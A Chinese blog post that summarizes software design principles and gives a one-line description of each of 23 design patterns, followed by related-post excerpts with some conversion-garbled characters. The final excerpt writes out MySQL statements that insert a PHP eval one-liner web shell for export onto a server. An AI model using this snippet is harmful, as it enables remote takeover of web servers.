一句話 道出設計模式

2022-01-16 12:37:26 字數 1221 閱讀 3049

近段時間漸覺自己愚弱,感覺各方面都有些透支。索性去腦補一下設計模式。講真,之前對此也是一知半解,未曾有太多研究,此番也是做簡單了解,參考園裡大神做些紀要。於是乎,我又一次發覺其實在日常擼碼中已經隱隱約約用到了各種設計模式(你覺得夢想很遠,其實你已經在路上了)。比如,資料庫連線池用到了單例模式;比如,流程審核板塊會用到責任鏈模式;比如,為了給物件動態新增職責用到了裝飾者模式等等。當然如若真的能將這些個設計模式弄懂,寫起**來那真的是很方便,而且後人查閱也是一種美的享受啊。

設計模式,是幫助我們解決實際開發過程中的方法,該方法為了降低物件之間的耦合度。世間本無設計模式,不過是為了更好的解決實際問題而生產出來的方法罷了。

設計模式遵循封裝變化,職責單一,面向介面程式設計等原則。個人理解就是封裝、弱耦合。

設計模式的原則:

單一職責原則

開閉原則

依賴倒置原則

介面隔離原則

合成復用原則

迪公尺特原則(或者叫最少知識原則) 

一句話點點23種常用設計模式

單例模式:要麼沒有,要麼只有乙個

簡單工廠模式:讓子類決定例項化哪乙個

工廠方法模式:在允許不修改工廠類的前提下新增新類

建造者模式:構建與表示分離

原型模式:重複利用現有例項的拷貝

介面卡模式:解決新舊共存的問題

橋接模式:實現與抽象解耦

裝飾者模式:物件動態新增職責

組合模式:簡單複雜等同操作

外觀模式:一群介面簡化為乙個介面

享元模式:重複物件共享

**模式:**源物件控制引用

模板方法模式:抽象共同,具體子類具體實現

命令模式:把行為進行抽象成命令

迭代器模式:抽象遍歷集合元素

觀察者模式:一對多的監聽

中介者模式:中介類封裝引用

狀態者模式:抽象狀態類簡化複雜判斷

策略者模式:一系列方法的封裝

責任鏈模式:多物件的處理

訪問者模式:封裝對資料結構的操作

備忘錄模式:儲存發起人內部狀態

ps,主要參考learning hard  c#設計模式總結。

之前我收集乙份23種常用設計模式簡化,簡單一句話搞定面試官應該問題不大,另外我也做一些pdf得筆記,感興趣的博友可以私聊了一下了。當然這裡只是讓我媽一句話知道設計模式,其實每種設計模式研究深一些還是有秘密,這條路深不見底!歡迎查閱,歡迎吐槽,一起學習,歡迎進步!

一句話設計模式

提供乙個建立一系列或相關依賴物件的介面,而無需指定它們具體的類 將乙個複雜物件的構建與它的表示分離,使得同樣的構建過程可以建立不同的表示 3.工廠方法模式 factorymethod 定義乙個用於建立物件的介面,讓子類決定例項化哪乙個類,使得乙個類的例項化延遲到其子類 4.原型模式 prototyp...

一句話歸納設計模式

通過 23種設計模式全面解析 教程,我們已經學習完了經典的 23 種設計模式。下面總結一下這 23 種設計模式,以方便小夥伴們日後複習和查閱。分類設計模式 簡述一句話歸納 目的生活案例 建立型設計模式 簡單來說就是用來建立物件的 工廠模式 factory pattern 不同條件下建立不同例項 產品...

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...